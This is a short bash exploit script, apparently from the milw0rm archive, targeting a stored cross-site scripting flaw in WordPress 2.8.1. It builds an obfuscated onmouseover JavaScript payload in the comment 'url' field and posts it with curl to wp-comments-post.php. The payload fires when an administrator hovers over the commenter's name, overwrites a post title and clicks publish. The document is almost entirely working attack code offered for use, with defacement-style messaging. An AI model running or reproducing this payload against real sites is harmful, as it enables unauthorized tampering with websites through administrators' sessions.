WordPress Core 2.8.1 - 'url' Cross-Site Scripting

#!/bin/bash

echo "wp281.quickprz // iso^kpsbr"

SITE=$1
COMMENT=$2
MESSAGE="h4x0riZed by the superfreakaz0rz"

if [ "X$SITE" = "X" ]; then
	echo "$0 <url> [postID]"
	echo "f.e. $0 www.worstpress.eu"
	exit
fi

if [ "X$POSTID" = "X" ]; then
	POSTID=1
fi


echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"
/usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&[email protected]&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH

echo "[X] all done. now wait for admin to mouse-over that name."

# milw0rm.com [2009-07-24]